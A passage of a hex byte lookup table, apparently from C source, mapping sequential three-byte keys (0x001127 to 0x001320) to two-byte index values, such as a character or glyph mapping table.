0x0f,\r\n0x00, 0x11, 0x27, 0x10, 0x0f,\r\n0x00, 0x11, 0x28, 0x11, 0x0f,\r\n0x00, 0x11, 0x29, 0x12, 0x0f,\r\n0x00, 0x11, 0x2A, 0x13, 0x0f,\r\n0x00, 0x11, 0x2B, 0x14, 0x0f,\r\n0x00, 0x11, 0x2C, 0x15, 0x0f,\r\n0x00, 0x11, 0x2D, 0x16, 0x0f,\r\n0x00, 0x11, 0x2E, 0x17, 0x0f,\r\n0x00, 0x11, 0x2F, 0x20, 0x0b,\r\n0x00, 0x11, 0x30, 0xc0, 0x00,\r\n0x00, 0x11, 0x31, 0x18, 0x0f,\r\n0x00, 0x11, 0x32, 0x19, 0x0f,\r\n0x00, 0x11, 0x33, 0xec, 0x0c,\r\n0x00, 0x11, 0x34, 0x1a, 0x0f,\r\n0x00, 0x11, 0x35, 0x1b, 0x0f,\r\n0x00, 0x11, 0x36, 0x1c, 0x0f,\r\n0x00, 0x11, 0x37, 0x1d, 0x0f,\r\n0x00, 0x11, 0x38, 0x1e, 0x0f,\r\n0x00, 0x11, 0x39, 0x1f, 0x0f,\r\n0x00, 0x11, 0x3A, 0x20, 0x0f,\r\n0x00, 0x11, 0x3B, 0x21, 0x0f,\r\n0x00, 0x11, 0x3C, 0x22, 0x0f,\r\n0x00, 0x11, 0x3D, 0x23, 0x0f,\r\n0x00, 0x11, 0x3E, 0x24, 0x0f,\r\n0x00, 0x11, 0x3F, 0x25, 0x0f,\r\n0x00, 0x11, 0x40, 0x26, 0x0f,\r\n0x00, 0x11, 0x41, 0x27, 0x0f,\r\n0x00, 0x11, 0x42, 0x28, 0x0f,\r\n0x00, 0x11, 0x43, 0xd1, 0x05,\r\n0x00, 0x11, 0x44, 0x29, 0x0f,\r\n0x00, 0x11, 0x45, 0x2a, 0x0f,\r\n0x00, 0x11, 0x46, 0x2b, 0x0f,\r\n0x00, 0x11, 0x47, 0x2c, 0x0f,\r\n0x00, 0x11, 0x48, 0x2d, 0x0f,\r\n0x00, 0x11, 0x49, 0x2e, 0x0f,\r\n0x00, 0x11, 0x4A, 0x2f, 0x0f,\r\n0x00, 0x11, 0x4B, 0x30, 0x0f,\r\n0x00, 0x11, 0x4C, 0x31, 0x0f,\r\n0x00, 0x11, 0x4D, 0x32, 0x0f,\r\n0x00, 0x11, 0x4E, 0x33, 0x0f,\r\n0x00, 0x11, 0x4F, 0x34, 0x0f,\r\n0x00, 0x11, 0x50, 0x35, 0x0f,\r\n0x00, 0x11, 0x51, 0x36, 0x0f,\r\n0x00, 0x11, 0x52, 0x37, 0x0f,\r\n0x00, 0x11, 0x53, 0x38, 0x0f,\r\n0x00, 0x11, 0x54, 0x39, 0x0f,\r\n0x00, 0x11, 0x55, 0x3a, 0x0f,\r\n0x00, 0x11, 0x56, 0x3b, 0x0f,\r\n0x00, 0x11, 0x57, 0x3c, 0x0f,\r\n0x00, 0x11, 0x58, 0x69, 0x01,\r\n0x00, 0x11, 0x59, 0x3d, 0x0f,\r\n0x00, 0x11, 0x5A, 0x3e, 0x0f,\r\n0x00, 0x11, 0x5B, 0xee, 0x06,\r\n0x00, 0x11, 0x5C, 0x05, 0x00,\r\n0x00, 0x11, 0x5D, 0x05, 0x00,\r\n0x00, 0x11, 0x5E, 0x3f, 0x0f,\r\n0x00, 0x11, 0x5F, 0x40, 0x0f,\r\n0x00, 0x11, 0x60, 0x41, 0x0f,\r\n0x00, 0x11, 0x61, 0x42, 0x0f,\r\n0x00, 0x11, 0x62, 0x43, 0x0f,\r\n0x00, 0x11, 0x63, 0x44, 0x0f,\r\n0x00, 0x11, 0x64, 0x45, 0x0f,\r\n0x00, 0x11, 0x65, 0x46, 0x0f,\r\n0x00, 0x11, 0x66, 0x47, 0x0f,\r\n0x00, 0x11, 0x67, 0xd5, 0x00,\r\n0x00, 0x11, 0x68, 0x48, 0x0f,\r\n0x00, 0x11, 0x69, 0x49, 0x0f,\r\n0x00, 0x11, 0x6A, 0x4a, 0x0f,\r\n0x00, 0x11, 0x6B, 0x48, 0x01,\r\n0x00, 0x11, 0x6C, 0x4b, 0x0f,\r\n0x00, 0x11, 0x6D, 0x36, 0x06,\r\n0x00, 0x11, 0x6E, 0x4c, 0x0f,\r\n0x00, 0x11, 0x6F, 0x4d, 0x0f,\r\n0x00, 0x11, 0x70, 0x4e, 0x0f,\r\n0x00, 0x11, 0x71, 0x4f, 0x0f,\r\n0x00, 0x11, 0x72, 0x50, 0x0f,\r\n0x00, 0x11, 0x73, 0x51, 0x0f,\r\n0x00, 0x11, 0x74, 0x52, 0x0f,\r\n0x00, 0x11, 0x75, 0x82, 0x02,\r\n0x00, 0x11, 0x76, 0x53, 0x0f,\r\n0x00, 0x11, 0x77, 0x54, 0x0f,\r\n0x00, 0x11, 0x78, 0x55, 0x0f,\r\n0x00, 0x11, 0x79, 0x56, 0x0f,\r\n0x00, 0x11, 0x7A, 0x57, 0x0f,\r\n0x00, 0x11, 0x7B, 0x58, 0x0f,\r\n0x00, 0x11, 0x7C, 0x59, 0x0f,\r\n0x00, 0x11, 0x7D, 0x5a, 0x0f,\r\n0x00, 0x11, 0x7E, 0x5b, 0x0f,\r\n0x00, 0x11, 0x7F, 0x5c, 0x0f,\r\n0x00, 0x11, 0x80, 0xb9, 0x00,\r\n0x00, 0x11, 0x81, 0x5d, 0x0f,\r\n0x00, 0x11, 0x82, 0x5e, 0x0f,\r\n0x00, 0x11, 0x83, 0x13, 0x07,\r\n0x00, 0x11, 0x84, 0x5f, 0x0f,\r\n0x00, 0x11, 0x85, 0xc9, 0x01,\r\n0x00, 0x11, 0x86, 0x60, 0x0f,\r\n0x00, 0x11, 0x87, 0x61, 0x0f,\r\n0x00, 0x11, 0x88, 0xd6, 0x01,\r\n0x00, 0x11, 0x89, 0x62, 0x0f,\r\n0x00, 0x11, 0x8A, 0x63, 0x0f,\r\n0x00, 0x11, 0x8B, 0xd1, 0x06,\r\n0x00, 0x11, 0x8C, 0x95, 0x07,\r\n0x00, 0x11, 0x8D, 0x64, 0x0f,\r\n0x00, 0x11, 0x8E, 0x65, 0x0f,\r\n0x00, 0x11, 0x8F, 0x66, 0x0f,\r\n0x00, 0x11, 0x90, 0x48, 0x01,\r\n0x00, 0x11, 0x91, 0x67, 0x0f,\r\n0x00, 0x11, 0x92, 0x05, 0x00,\r\n0x00, 0x11, 0x93, 0x05, 0x00,\r\n0x00, 0x11, 0x94, 0x68, 0x0f,\r\n0x00, 0x11, 0x95, 0xe8, 0x04,\r\n0x00, 0x11, 0x96, 0x69, 0x0f,\r\n0x00, 0x11, 0x97, 0x6a, 0x0f,\r\n0x00, 0x11, 0x98, 0x6b, 0x0f,\r\n0x00, 0x11, 0x99, 0x6c, 0x0f,\r\n0x00, 0x11, 0x9A, 0x6d, 0x0f,\r\n0x00, 0x11, 0x9B, 0x6e, 0x0f,\r\n0x00, 0x11, 0x9C, 0x6f, 0x0f,\r\n0x00, 0x11, 0x9D, 0x70, 0x0f,\r\n0x00, 0x11, 0x9E, 0x41, 0x0a,\r\n0x00, 0x11, 0x9F, 0xb9, 0x02,\r\n0x00, 0x11, 0xA0, 0x71, 0x0f,\r\n0x00, 0x11, 0xA1, 0x72, 0x0f,\r\n0x00, 0x11, 0xA2, 0x11, 0x0a,\r\n0x00, 0x11, 0xA3, 0x73, 0x0f,\r\n0x00, 0x11, 0xA4, 0x74, 0x0f,\r\n0x00, 0x11, 0xA5, 0x75, 0x0f,\r\n0x00, 0x11, 0xA6, 0x76, 0x0f,\r\n0x00, 0x11, 0xA7, 0x77, 0x0f,\r\n0x00, 0x11, 0xA8, 0xd6, 0x0a,\r\n0x00, 0x11, 0xA9, 0x78, 0x0f,\r\n0x00, 0x11, 0xAA, 0x79, 0x0f,\r\n0x00, 0x11, 0xAB, 0x7a, 0x0f,\r\n0x00, 0x11, 0xAC, 0x7b, 0x0f,\r\n0x00, 0x11, 0xAD, 0x0e, 0x03,\r\n0x00, 0x11, 0xAE, 0xb9, 0x00,\r\n0x00, 0x11, 0xAF, 0x7c, 0x0f,\r\n0x00, 0x11, 0xB0, 0x7d, 0x0f,\r\n0x00, 0x11, 0xB1, 0x7e, 0x0f,\r\n0x00, 0x11, 0xB2, 0x7f, 0x0f,\r\n0x00, 0x11, 0xB3, 0x80, 0x0f,\r\n0x00, 0x11, 0xB4, 0xdb, 0x06,\r\n0x00, 0x11, 0xB5, 0xe9, 0x01,\r\n0x00, 0x11, 0xB6, 0x81, 0x0f,\r\n0x00, 0x11, 0xB7, 0x82, 0x0f,\r\n0x00, 0x11, 0xB8, 0x83, 0x0f,\r\n0x00, 0x11, 0xB9, 0x84, 0x0f,\r\n0x00, 0x11, 0xBA, 0x85, 0x0f,\r\n0x00, 0x11, 0xBB, 0x05, 0x00,\r\n0x00, 0x11, 0xBC, 0x05, 0x00,\r\n0x00, 0x11, 0xBD, 0x86, 0x0f,\r\n0x00, 0x11, 0xBE, 0x87, 0x0f,\r\n0x00, 0x11, 0xBF, 0x88, 0x0f,\r\n0x00, 0x11, 0xC0, 0x89, 0x0f,\r\n0x00, 0x11, 0xC1, 0x8a, 0x0f,\r\n0x00, 0x11, 0xC2, 0x8b, 0x0f,\r\n0x00, 0x11, 0xC3, 0x8c, 0x0f,\r\n0x00, 0x11, 0xC4, 0x8d, 0x0f,\r\n0x00, 0x11, 0xC5, 0x8e, 0x0f,\r\n0x00, 0x11, 0xC6, 0x70, 0x04,\r\n0x00, 0x11, 0xC7, 0x8f, 0x0f,\r\n0x00, 0x11, 0xC8, 0x90, 0x0f,\r\n0x00, 0x11, 0xC9, 0x91, 0x0f,\r\n0x00, 0x11, 0xCA, 0x92, 0x0f,\r\n0x00, 0x11, 0xCB, 0x93, 0x0f,\r\n0x00, 0x11, 0xCC, 0xd3, 0x06,\r\n0x00, 0x11, 0xCD, 0x94, 0x0f,\r\n0x00, 0x11, 0xCE, 0x95, 0x0f,\r\n0x00, 0x11, 0xCF, 0x96, 0x0f,\r\n0x00, 0x11, 0xD0, 0x97, 0x0f,\r\n0x00, 0x11, 0xD1, 0x98, 0x0f,\r\n0x00, 0x11, 0xD2, 0x99, 0x0f,\r\n0x00, 0x11, 0xD3, 0x9a, 0x0f,\r\n0x00, 0x11, 0xD4, 0x9b, 0x0f,\r\n0x00, 0x11, 0xD5, 0x10, 0x0e,\r\n0x00, 0x11, 0xD6, 0x9c, 0x0f,\r\n0x00, 0x11, 0xD7, 0x9d, 0x0f,\r\n0x00, 0x11, 0xD8, 0x20, 0x0b,\r\n0x00, 0x11, 0xD9, 0x9e, 0x0f,\r\n0x00, 0x11, 0xDA, 0x9f, 0x0f,\r\n0x00, 0x11, 0xDB, 0xa0, 0x0f,\r\n0x00, 0x11, 0xDC, 0xa1, 0x0f,\r\n0x00, 0x11, 0xDD, 0xa2, 0x0f,\r\n0x00, 0x11, 0xDE, 0xa3, 0x0f,\r\n0x00, 0x11, 0xDF, 0xa4, 0x0f,\r\n0x00, 0x11, 0xE0, 0xa5, 0x0f,\r\n0x00, 0x11, 0xE1, 0xa6, 0x0f,\r\n0x00, 0x11, 0xE2, 0xa7, 0x0f,\r\n0x00, 0x11, 0xE3, 0x17, 0x07,\r\n0x00, 0x11, 0xE4, 0xa8, 0x0f,\r\n0x00, 0x11, 0xE5, 0xa9, 0x0f,\r\n0x00, 0x11, 0xE6, 0x8c, 0x01,\r\n0x00, 0x11, 0xE7, 0xaa, 0x0f,\r\n0x00, 0x11, 0xE8, 0xab, 0x0f,\r\n0x00, 0x11, 0xE9, 0xac, 0x0f,\r\n0x00, 0x11, 0xEA, 0xad, 0x0f,\r\n0x00, 0x11, 0xEB, 0xd3, 0x01,\r\n0x00, 0x11, 0xEC, 0xae, 0x0f,\r\n0x00, 0x11, 0xED, 0xaf, 0x0f,\r\n0x00, 0x11, 0xEE, 0xb0, 0x0f,\r\n0x00, 0x11, 0xEF, 0xb1, 0x0f,\r\n0x00, 0x11, 0xF0, 0xb2, 0x0f,\r\n0x00, 0x11, 0xF1, 0xb3, 0x0f,\r\n0x00, 0x11, 0xF2, 0xb4, 0x0f,\r\n0x00, 0x11, 0xF3, 0xb5, 0x0f,\r\n0x00, 0x11, 0xF4, 0xb6, 0x0f,\r\n0x00, 0x11, 0xF5, 0xb7, 0x0f,\r\n0x00, 0x11, 0xF6, 0xb8, 0x0f,\r\n0x00, 0x11, 0xF7, 0xe9, 0x01,\r\n0x00, 0x11, 0xF8, 0xb9, 0x0f,\r\n0x00, 0x11, 0xF9, 0x69, 0x01,\r\n0x00, 0x11, 0xFA, 0xba, 0x0f,\r\n0x00, 0x11, 0xFB, 0x63, 0x01,\r\n0x00, 0x11, 0xFC, 0xd1, 0x09,\r\n0x00, 0x11, 0xFD, 0xbb, 0x0f,\r\n0x00, 0x11, 0xFE, 0xbc, 0x0f,\r\n0x00, 0x11, 0xFF, 0xbd, 0x0f,\r\n0x00, 0x12, 0x00, 0x05, 0x00,\r\n0x00, 0x12, 0x01, 0x05, 0x00,\r\n0x00, 0x12, 0x02, 0xbe, 0x0f,\r\n0x00, 0x12, 0x03, 0xbf, 0x0f,\r\n0x00, 0x12, 0x04, 0xc0, 0x0f,\r\n0x00, 0x12, 0x05, 0xc1, 0x0f,\r\n0x00, 0x12, 0x06, 0xc2, 0x0f,\r\n0x00, 0x12, 0x07, 0xc3, 0x0f,\r\n0x00, 0x12, 0x08, 0xc4, 0x0f,\r\n0x00, 0x12, 0x09, 0xc5, 0x0f,\r\n0x00, 0x12, 0x0A, 0xd8, 0x09,\r\n0x00, 0x12, 0x0B, 0xc6, 0x0f,\r\n0x00, 0x12, 0x0C, 0xc7, 0x0f,\r\n0x00, 0x12, 0x0D, 0xf7, 0x01,\r\n0x00, 0x12, 0x0E, 0xc8, 0x0f,\r\n0x00, 0x12, 0x0F, 0xc9, 0x0f,\r\n0x00, 0x12, 0x10, 0xca, 0x0f,\r\n0x00, 0x12, 0x11, 0xcb, 0x0f,\r\n0x00, 0x12, 0x12, 0xcc, 0x0f,\r\n0x00, 0x12, 0x13, 0xcd, 0x0f,\r\n0x00, 0x12, 0x14, 0xce, 0x0f,\r\n0x00, 0x12, 0x15, 0xcf, 0x0f,\r\n0x00, 0x12, 0x16, 0xd0, 0x0f,\r\n0x00, 0x12, 0x17, 0xf9, 0x0a,\r\n0x00, 0x12, 0x18, 0xd1, 0x0f,\r\n0x00, 0x12, 0x19, 0xd2, 0x0f,\r\n0x00, 0x12, 0x1A, 0xd3, 0x0f,\r\n0x00, 0x12, 0x1B, 0xd4, 0x0f,\r\n0x00, 0x12, 0x1C, 0xd5, 0x0f,\r\n0x00, 0x12, 0x1D, 0xd6, 0x0f,\r\n0x00, 0x12, 0x1E, 0x08, 0x05,\r\n0x00, 0x12, 0x1F, 0xd7, 0x0f,\r\n0x00, 0x12, 0x20, 0xd8, 0x0f,\r\n0x00, 0x12, 0x21, 0xd9, 0x0f,\r\n0x00, 0x12, 0x22, 0xda, 0x0f,\r\n0x00, 0x12, 0x23, 0xdb, 0x0f,\r\n0x00, 0x12, 0x24, 0xdc, 0x0f,\r\n0x00, 0x12, 0x25, 0xb9, 0x00,\r\n0x00, 0x12, 0x26, 0xdd, 0x0f,\r\n0x00, 0x12, 0x27, 0xfb, 0x0e,\r\n0x00, 0x12, 0x28, 0xde, 0x0f,\r\n0x00, 0x12, 0x29, 0xdf, 0x0f,\r\n0x00, 0x12, 0x2A, 0xe0, 0x0f,\r\n0x00, 0x12, 0x2B, 0xe1, 0x0f,\r\n0x00, 0x12, 0x2C, 0xe2, 0x0f,\r\n0x00, 0x12, 0x2D, 0xe3, 0x0f,\r\n0x00, 0x12, 0x2E, 0x55, 0x04,\r\n0x00, 0x12, 0x2F, 0xe4, 0x0f,\r\n0x00, 0x12, 0x30, 0xe5, 0x0f,\r\n0x00, 0x12, 0x31, 0x03, 0x08,\r\n0x00, 0x12, 0x32, 0xe6, 0x0f,\r\n0x00, 0x12, 0x33, 0xe7, 0x0f,\r\n0x00, 0x12, 0x34, 0xe8, 0x0f,\r\n0x00, 0x12, 0x35, 0xe9, 0x0f,\r\n0x00, 0x12, 0x36, 0xea, 0x0f,\r\n0x00, 0x12, 0x37, 0xeb, 0x0f,\r\n0x00, 0x12, 0x38, 0xec, 0x0f,\r\n0x00, 0x12, 0x39, 0xed, 0x0f,\r\n0x00, 0x12, 0x3A, 0xee, 0x0f,\r\n0x00, 0x12, 0x3B, 0xef, 0x0f,\r\n0x00, 0x12, 0x3C, 0xf0, 0x0f,\r\n0x00, 0x12, 0x3D, 0xf1, 0x0f,\r\n0x00, 0x12, 0x3E, 0xf2, 0x0f,\r\n0x00, 0x12, 0x3F, 0xd1, 0x05,\r\n0x00, 0x12, 0x40, 0xf3, 0x0f,\r\n0x00, 0x12, 0x41, 0xf4, 0x0f,\r\n0x00, 0x12, 0x42, 0xf5, 0x0f,\r\n0x00, 0x12, 0x43, 0x05, 0x00,\r\n0x00, 0x12, 0x44, 0x05, 0x00,\r\n0x00, 0x12, 0x45, 0xf6, 0x0f,\r\n0x00, 0x12, 0x46, 0xf7, 0x0f,\r\n0x00, 0x12, 0x47, 0x4f, 0x02,\r\n0x00, 0x12, 0x48, 0x8f, 0x00,\r\n0x00, 0x12, 0x49, 0xe2, 0x05,\r\n0x00, 0x12, 0x4A, 0xf8, 0x0f,\r\n0x00, 0x12, 0x4B, 0xeb, 0x0f,\r\n0x00, 0x12, 0x4C, 0xf9, 0x0f,\r\n0x00, 0x12, 0x4D, 0xfa, 0x0f,\r\n0x00, 0x12, 0x4E, 0xfb, 0x0f,\r\n0x00, 0x12, 0x4F, 0xfc, 0x0f,\r\n0x00, 0x12, 0x50, 0xfd, 0x0f,\r\n0x00, 0x12, 0x51, 0xfe, 0x0f,\r\n0x00, 0x12, 0x52, 0xff, 0x0f,\r\n0x00, 0x12, 0x53, 0x00, 0x10,\r\n0x00, 0x12, 0x54, 0x01, 0x10,\r\n0x00, 0x12, 0x55, 0x02, 0x10,\r\n0x00, 0x12, 0x56, 0x03, 0x10,\r\n0x00, 0x12, 0x57, 0x04, 0x10,\r\n0x00, 0x12, 0x58, 0x05, 0x10,\r\n0x00, 0x12, 0x59, 0x06, 0x10,\r\n0x00, 0x12, 0x5A, 0xb4, 0x03,\r\n0x00, 0x12, 0x5B, 0x07, 0x10,\r\n0x00, 0x12, 0x5C, 0x08, 0x10,\r\n0x00, 0x12, 0x5D, 0x2d, 0x0a,\r\n0x00, 0x12, 0x5E, 0x09, 0x10,\r\n0x00, 0x12, 0x5F, 0x0a, 0x10,\r\n0x00, 0x12, 0x60, 0x0b, 0x10,\r\n0x00, 0x12, 0x61, 0x0c, 0x10,\r\n0x00, 0x12, 0x62, 0xb9, 0x02,\r\n0x00, 0x12, 0x63, 0x0d, 0x10,\r\n0x00, 0x12, 0x64, 0x0e, 0x10,\r\n0x00, 0x12, 0x65, 0x0f, 0x10,\r\n0x00, 0x12, 0x66, 0x10, 0x10,\r\n0x00, 0x12, 0x67, 0x5e, 0x0d,\r\n0x00, 0x12, 0x68, 0x11, 0x10,\r\n0x00, 0x12, 0x69, 0x12, 0x10,\r\n0x00, 0x12, 0x6A, 0x13, 0x10,\r\n0x00, 0x12, 0x6B, 0x14, 0x10,\r\n0x00, 0x12, 0x6C, 0x15, 0x10,\r\n0x00, 0x12, 0x6D, 0x16, 0x10,\r\n0x00, 0x12, 0x6E, 0x17, 0x10,\r\n0x00, 0x12, 0x6F, 0x18, 0x10,\r\n0x00, 0x12, 0x70, 0x19, 0x10,\r\n0x00, 0x12, 0x71, 0x1a, 0x10,\r\n0x00, 0x12, 0x72, 0x1b, 0x10,\r\n0x00, 0x12, 0x73, 0x1c, 0x10,\r\n0x00, 0x12, 0x74, 0x1d, 0x10,\r\n0x00, 0x12, 0x75, 0x1e, 0x10,\r\n0x00, 0x12, 0x76, 0x1f, 0x10,\r\n0x00, 0x12, 0x77, 0x20, 0x10,\r\n0x00, 0x12, 0x78, 0xdf, 0x03,\r\n0x00, 0x12, 0x79, 0xc9, 0x01,\r\n0x00, 0x12, 0x7A, 0x21, 0x10,\r\n0x00, 0x12, 0x7B, 0x22, 0x10,\r\n0x00, 0x12, 0x7C, 0x23, 0x10,\r\n0x00, 0x12, 0x7D, 0x24, 0x10,\r\n0x00, 0x12, 0x7E, 0x25, 0x10,\r\n0x00, 0x12, 0x7F, 0x05, 0x00,\r\n0x00, 0x12, 0x80, 0x05, 0x00,\r\n0x00, 0x12, 0x81, 0xc4, 0x0e,\r\n0x00, 0x12, 0x82, 0x26, 0x10,\r\n0x00, 0x12, 0x83, 0x69, 0x01,\r\n0x00, 0x12, 0x84, 0x27, 0x10,\r\n0x00, 0x12, 0x85, 0x28, 0x10,\r\n0x00, 0x12, 0x86, 0x29, 0x10,\r\n0x00, 0x12, 0x87, 0xdf, 0x01,\r\n0x00, 0x12, 0x88, 0x02, 0x0c,\r\n0x00, 0x12, 0x89, 0x2a, 0x10,\r\n0x00, 0x12, 0x8A, 0xb9, 0x00,\r\n0x00, 0x12, 0x8B, 0x2b, 0x10,\r\n0x00, 0x12, 0x8C, 0x2c, 0x10,\r\n0x00, 0x12, 0x8D, 0x2d, 0x10,\r\n0x00, 0x12, 0x8E, 0x2e, 0x10,\r\n0x00, 0x12, 0x8F, 0x2f, 0x10,\r\n0x00, 0x12, 0x90, 0x1f, 0x01,\r\n0x00, 0x12, 0x91, 0x30, 0x10,\r\n0x00, 0x12, 0x92, 0x31, 0x10,\r\n0x00, 0x12, 0x93, 0x32, 0x10,\r\n0x00, 0x12, 0x94, 0x58, 0x00,\r\n0x00, 0x12, 0x95, 0x33, 0x10,\r\n0x00, 0x12, 0x96, 0x34, 0x10,\r\n0x00, 0x12, 0x97, 0x35, 0x10,\r\n0x00, 0x12, 0x98, 0x36, 0x10,\r\n0x00, 0x12, 0x99, 0x37, 0x10,\r\n0x00, 0x12, 0x9A, 0x38, 0x10,\r\n0x00, 0x12, 0x9B, 0x39, 0x10,\r\n0x00, 0x12, 0x9C, 0x3a, 0x10,\r\n0x00, 0x12, 0x9D, 0x3b, 0x10,\r\n0x00, 0x12, 0x9E, 0x3c, 0x10,\r\n0x00, 0x12, 0x9F, 0x3d, 0x10,\r\n0x00, 0x12, 0xA0, 0x3e, 0x10,\r\n0x00, 0x12, 0xA1, 0x3f, 0x10,\r\n0x00, 0x12, 0xA2, 0x40, 0x10,\r\n0x00, 0x12, 0xA3, 0x41, 0x10,\r\n0x00, 0x12, 0xA4, 0x42, 0x10,\r\n0x00, 0x12, 0xA5, 0x43, 0x10,\r\n0x00, 0x12, 0xA6, 0x44, 0x10,\r\n0x00, 0x12, 0xA7, 0x45, 0x10,\r\n0x00, 0x12, 0xA8, 0x46, 0x10,\r\n0x00, 0x12, 0xA9, 0xf2, 0x00,\r\n0x00, 0x12, 0xAA, 0x47, 0x10,\r\n0x00, 0x12, 0xAB, 0x48, 0x10,\r\n0x00, 0x12, 0xAC, 0x49, 0x10,\r\n0x00, 0x12, 0xAD, 0x4a, 0x10,\r\n0x00, 0x12, 0xAE, 0x4b, 0x10,\r\n0x00, 0x12, 0xAF, 0x4c, 0x10,\r\n0x00, 0x12, 0xB0, 0x4d, 0x10,\r\n0x00, 0x12, 0xB1, 0x4e, 0x10,\r\n0x00, 0x12, 0xB2, 0x4f, 0x10,\r\n0x00, 0x12, 0xB3, 0x50, 0x10,\r\n0x00, 0x12, 0xB4, 0x51, 0x10,\r\n0x00, 0x12, 0xB5, 0x52, 0x10,\r\n0x00, 0x12, 0xB6, 0x53, 0x10,\r\n0x00, 0x12, 0xB7, 0x54, 0x10,\r\n0x00, 0x12, 0xB8, 0x55, 0x10,\r\n0x00, 0x12, 0xB9, 0x56, 0x10,\r\n0x00, 0x12, 0xBA, 0x57, 0x10,\r\n0x00, 0x12, 0xBB, 0xc3, 0x0e,\r\n0x00, 0x12, 0xBC, 0x58, 0x10,\r\n0x00, 0x12, 0xBD, 0x59, 0x10,\r\n0x00, 0x12, 0xBE, 0x5a, 0x10,\r\n0x00, 0x12, 0xBF, 0x5b, 0x10,\r\n0x00, 0x12, 0xC0, 0x5c, 0x10,\r\n0x00, 0x12, 0xC1, 0x5d, 0x10,\r\n0x00, 0x12, 0xC2, 0x5e, 0x10,\r\n0x00, 0x12, 0xC3, 0x5f, 0x10,\r\n0x00, 0x12, 0xC4, 0x60, 0x10,\r\n0x00, 0x12, 0xC5, 0x61, 0x10,\r\n0x00, 0x12, 0xC6, 0x62, 0x10,\r\n0x00, 0x12, 0xC7, 0x63, 0x10,\r\n0x00, 0x12, 0xC8, 0x64, 0x10,\r\n0x00, 0x12, 0xC9, 0xb9, 0x00,\r\n0x00, 0x12, 0xCA, 0x65, 0x10,\r\n0x00, 0x12, 0xCB, 0x66, 0x10,\r\n0x00, 0x12, 0xCC, 0x67, 0x10,\r\n0x00, 0x12, 0xCD, 0x68, 0x10,\r\n0x00, 0x12, 0xCE, 0xf7, 0x01,\r\n0x00, 0x12, 0xCF, 0xda, 0x00,\r\n0x00, 0x12, 0xD0, 0x69, 0x10,\r\n0x00, 0x12, 0xD1, 0xeb, 0x0f,\r\n0x00, 0x12, 0xD2, 0xeb, 0x0f,\r\n0x00, 0x12, 0xD3, 0x6a, 0x10,\r\n0x00, 0x12, 0xD4, 0x29, 0x05,\r\n0x00, 0x12, 0xD5, 0x6b, 0x10,\r\n0x00, 0x12, 0xD6, 0x6c, 0x10,\r\n0x00, 0x12, 0xD7, 0x6d, 0x10,\r\n0x00, 0x12, 0xD8, 0xdf, 0x03,\r\n0x00, 0x12, 0xD9, 0x05, 0x00,\r\n0x00, 0x12, 0xDA, 0x05, 0x00,\r\n0x00, 0x12, 0xDB, 0x6e, 0x10,\r\n0x00, 0x12, 0xDC, 0x6f, 0x10,\r\n0x00, 0x12, 0xDD, 0x70, 0x10,\r\n0x00, 0x12, 0xDE, 0x71, 0x10,\r\n0x00, 0x12, 0xDF, 0x72, 0x10,\r\n0x00, 0x12, 0xE0, 0x73, 0x10,\r\n0x00, 0x12, 0xE1, 0x74, 0x10,\r\n0x00, 0x12, 0xE2, 0x75, 0x10,\r\n0x00, 0x12, 0xE3, 0x76, 0x10,\r\n0x00, 0x12, 0xE4, 0x6e, 0x10,\r\n0x00, 0x12, 0xE5, 0x77, 0x10,\r\n0x00, 0x12, 0xE6, 0x78, 0x10,\r\n0x00, 0x12, 0xE7, 0x79, 0x10,\r\n0x00, 0x12, 0xE8, 0x01, 0x0f,\r\n0x00, 0x12, 0xE9, 0x7a, 0x10,\r\n0x00, 0x12, 0xEA, 0x7b, 0x10,\r\n0x00, 0x12, 0xEB, 0x7c, 0x10,\r\n0x00, 0x12, 0xEC, 0x7d, 0x10,\r\n0x00, 0x12, 0xED, 0x7e, 0x10,\r\n0x00, 0x12, 0xEE, 0xbe, 0x09,\r\n0x00, 0x12, 0xEF, 0x7f, 0x10,\r\n0x00, 0x12, 0xF0, 0x80, 0x10,\r\n0x00, 0x12, 0xF1, 0x81, 0x10,\r\n0x00, 0x12, 0xF2, 0x80, 0x00,\r\n0x00, 0x12, 0xF3, 0x82, 0x10,\r\n0x00, 0x12, 0xF4, 0x83, 0x10,\r\n0x00, 0x12, 0xF5, 0x84, 0x10,\r\n0x00, 0x12, 0xF6, 0x85, 0x10,\r\n0x00, 0x12, 0xF7, 0x86, 0x10,\r\n0x00, 0x12, 0xF8, 0x87, 0x10,\r\n0x00, 0x12, 0xF9, 0x88, 0x10,\r\n0x00, 0x12, 0xFA, 0x89, 0x10,\r\n0x00, 0x12, 0xFB, 0x4f, 0x02,\r\n0x00, 0x12, 0xFC, 0x8a, 0x10,\r\n0x00, 0x12, 0xFD, 0x8b, 0x10,\r\n0x00, 0x12, 0xFE, 0x8c, 0x10,\r\n0x00, 0x12, 0xFF, 0x8d, 0x10,\r\n0x00, 0x13, 0x00, 0x8e, 0x10,\r\n0x00, 0x13, 0x01, 0x8f, 0x10,\r\n0x00, 0x13, 0x02, 0x80, 0x10,\r\n0x00, 0x13, 0x03, 0x90, 0x10,\r\n0x00, 0x13, 0x04, 0x91, 0x10,\r\n0x00, 0x13, 0x05, 0x92, 0x10,\r\n0x00, 0x13, 0x06, 0x93, 0x10,\r\n0x00, 0x13, 0x07, 0x94, 0x10,\r\n0x00, 0x13, 0x08, 0x95, 0x10,\r\n0x00, 0x13, 0x09, 0x96, 0x10,\r\n0x00, 0x13, 0x0A, 0x69, 0x01,\r\n0x00, 0x13, 0x0B, 0x97, 0x10,\r\n0x00, 0x13, 0x0C, 0x98, 0x10,\r\n0x00, 0x13, 0x0D, 0x99, 0x10,\r\n0x00, 0x13, 0x0E, 0x9a, 0x10,\r\n0x00, 0x13, 0x0F, 0x9b, 0x10,\r\n0x00, 0x13, 0x10, 0xf9, 0x0a,\r\n0x00, 0x13, 0x11, 0xb9, 0x00,\r\n0x00, 0x13, 0x12, 0x9c, 0x10,\r\n0x00, 0x13, 0x13, 0xd3, 0x06,\r\n0x00, 0x13, 0x14, 0x9d, 0x10,\r\n0x00, 0x13, 0x15, 0xd3, 0x03,\r\n0x00, 0x13, 0x16, 0x9e, 0x10,\r\n0x00, 0x13, 0x17, 0xfd, 0x06,\r\n0x00, 0x13, 0x18, 0x9f, 0x10,\r\n0x00, 0x13, 0x19, 0x05, 0x00,\r\n0x00, 0x13, 0x1A, 0x05, 0x00,\r\n0x00, 0x13, 0x1B, 0xa0, 0x10,\r\n0x00, 0x13, 0x1C, 0xa1, 0x10,\r\n0x00, 0x13, 0x1D, 0xa2, 0x10,\r\n0x00, 0x13, 0x1E, 0xa3, 0x10,\r\n0x00, 0x13, 0x1F, 0xa4, 0x10,\r\n0x00, 0x13, 0x20, 0x80, 